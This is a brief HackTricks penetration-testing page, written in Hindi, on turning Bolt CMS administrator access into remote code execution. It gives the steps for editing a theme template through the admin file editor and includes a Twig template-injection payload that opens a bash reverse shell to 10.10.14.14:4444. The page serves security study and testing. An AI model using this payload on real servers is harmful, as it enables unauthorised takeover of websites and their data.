Bolt CMS

Reading time: 2 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

RCE

प्रशासक के रूप में लॉगिन करने के बाद (लॉगिन प्रॉम्प्ट तक पहुँचने के लिए /bot पर जाएँ), आप Bolt CMS में RCE प्राप्त कर सकते हैं:

  • Configuration -> View Configuration -> Main Configuration चुनें या URL पथ /bolt/file-edit/config?file=/bolt/config.yaml पर जाएँ
  • थीम का मान जांचें
  • File management -> View & edit templates चुनें
  • पिछले चरण में पाए गए थीम बेस (इस मामले में base-2021) का चयन करें और index.twig चुनें
  • मेरे मामले में यह URL पथ /bolt/file-edit/themes?file=/base-2021/index.twig में है
  • इस फ़ाइल में अपने पेलोड को template injection (Twig) के माध्यम से सेट करें, जैसे: {{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
  • और परिवर्तनों को सहेजें
  • Maintenance -> Clear the cache में कैश साफ़ करें
  • फिर से एक सामान्य उपयोगकर्ता के रूप में पृष्ठ तक पहुँचें, और पेलोड निष्पादित होना चाहिए

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें